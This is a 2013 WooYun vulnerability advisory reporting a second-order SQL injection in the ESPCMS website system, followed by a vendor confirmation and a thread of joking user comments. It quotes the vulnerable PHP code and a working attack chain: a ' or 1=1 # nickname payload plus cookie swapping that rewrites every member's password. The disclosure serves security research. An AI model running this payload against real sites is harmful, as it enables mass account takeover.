当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(36) 关注此漏洞

缺陷编号: WooYun-2013-31669

漏洞标题: espcms 二次注入一枚

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: Yaseng

提交时间: 2013-07-21 23:17

公开时间: 2013-10-19 23:18

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧 php源码分析 白盒测试

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-21: 细节已通知厂商并且等待厂商处理中
2013-07-22: 厂商已经确认,细节仅向厂商公开
2013-07-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-09-15: 细节向核心白帽子及相关领域专家公开
2013-09-25: 细节向普通白帽子公开
2013-10-05: 细节向实习白帽子公开
2013-10-19: 细节向公众公开

简要描述:

espcms 二次注入一枚

详细说明:

1:通过 $alias 二次注入来控制sql

用户昵称 $alias 从数据库查询出来 未过滤

interface/member.php

code 区域
$db_sql = "SELECT * FROM $db_table WHERE $db_where";
$rsMember = $this->db->fetch_first($db_sql);
if (!$rsMember) {

..................................................
$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));



//查询出来时 无 addcslashes 可造成二次注入

虽然cookie 加密 无法逆向,但是已经可以通过控制 $alias 来生成 某些sql 进行注入

2:$this->ec_member_username 注入



public\class_connector.php 文件 中



code 区域
$this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);





$this->ec_member_username 利用 1 来控制 sql (无视 gpc ,无视单引号)

随便找到一个调用 $this->ec_member_username 的地方

如 interface\membermain.php 文件中 修改密码处



code 区域
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'";
$db_sql = "SELECT * FROM $db_table WHERE $db_where";

$rsMember = $this->db->fetch_first($db_sql);
if (!$rsMember) {
$linkURL = $this->mlink['memedit_password'];
$this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']);
} else {
$db_set = "password='$password'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);



调用了 $this->ec_member_username 可以进行注入



3:注入利用

经过 1,2 分析 一次完整的注入攻击

登录 => 编辑资料(写入注入 payload) =>退出 =>登录 =>设置cookie(ec_member_username =ecisp_member_info)=> 修改密码 => sql 注入

比如我要修改 所有会员的密码

espcms_1.jpg



编辑资料 昵称处填写 ' or 1=1 # 然后重新登录 修改cookie中 ec_member_username 的值为 ecisp_member_info的值

espcms_2.jpg





新旧密码不要相同 此时的 sql 语句为:

code 区域
UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|fuckss@**.**.**.**|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad'





打完收工

漏洞证明:

如上 3 一系列xxoo

sql 语句为 :



code 区域
UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|fuckss@**.**.**.**|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad'





即可中出



修复方案:

过滤数据库查询出数据

版权声明:转载请注明来源 Yaseng@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-07-22 10:40

厂商回复:

感谢您的提供,我们会尽快修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-07-21 23:34 | w5r2 ( 普通白帽子 | Rank:226 漏洞数:52 )
    1

    我来了,走了。

  2. 2013-07-21 23:35 | 索尘 ( 路人 | Rank:25 漏洞数:3 | Focus on web security. 关注网络,爱生活...)
    0

    我也走了

  3. 2013-07-21 23:35 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
    0

    我来了,走了。

  4. 2013-07-21 23:38 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:27 | ANONYMOUS)
    0

    我走了,却又回来了。

  5. 2013-07-21 23:39 | Edrea ( 路人 | Rank:4 漏洞数:1 )
    0

    你们去哪了 快回来

  6. 2013-07-21 23:39 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    0

    我来了,走了。

  7. 2013-07-21 23:39 | z7y ( 实习白帽子 | Rank:57 漏洞数:9 | 关注技术与网络安全)
    0

    我来了,走了。

  8. 2013-07-21 23:45 | 鸟嘌呤 ( 路人 | Rank:2 漏洞数:1 | 热爱生活,热爱网络)
    0

    我来了,走了。

  9. 2013-07-21 23:47 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    我来了,走了。

  10. 2013-07-21 23:55 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    这是在追星?

  11. 2013-07-22 08:29 | VIP ( 普通白帽子 | Rank:774 漏洞数:100 )
    0

    我来了,走了。

  12. 2013-07-22 08:45 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)
    0

    楼上所有人..该去哪 就去哪吧...

  13. 2013-07-22 08:48 | VIP ( 普通白帽子 | Rank:774 漏洞数:100 )
    0

    外面在下雨,我又回来了

  14. 2013-07-22 08:55 | 有妹子送上 ( 实习白帽子 | Rank:89 漏洞数:28 | 一只脚踩扁了紫罗兰,紫罗兰却把香味留在了...)
    0

    mark

  15. 2013-07-22 09:34 | Coody 认证白帽子 ( 核心白帽子 | Rank:1789 漏洞数:213 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)
    0

    来来回回的、要闹哪样·····

  16. 2013-07-22 13:43 | lxsec ( 实习白帽子 | Rank:97 漏洞数:16 | 专注XSS学习中......)
    0

    我不走了=。=

  17. 2013-07-23 15:29 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    Yaseng v5 !!!!!!!!!!!!!!!!!!!!!1

  18. 2013-07-25 17:17 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    告诉我这些都是你的马甲!!!

  19. 2013-07-25 18:21 | Yaseng ( 实习白帽子 | Rank:62 漏洞数:7 | 干)
    0

    @猪头子 自带三千水军路过

  20. 2013-08-14 10:03 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    即可中出

  21. 2015-03-16 14:40 | 菜鸟执死鸡 ( 路人 | Rank:4 漏洞数:2 | 菜鸟一枚,过来瞻仰各位大神)
    0

    很多脚印

  22. 2015-06-06 15:36 | G9sT的测试 ( 路人 | Rank:0 漏洞数:1 | 我不是roots01)
    0

    中出

登录后才能发表评论,请先 登录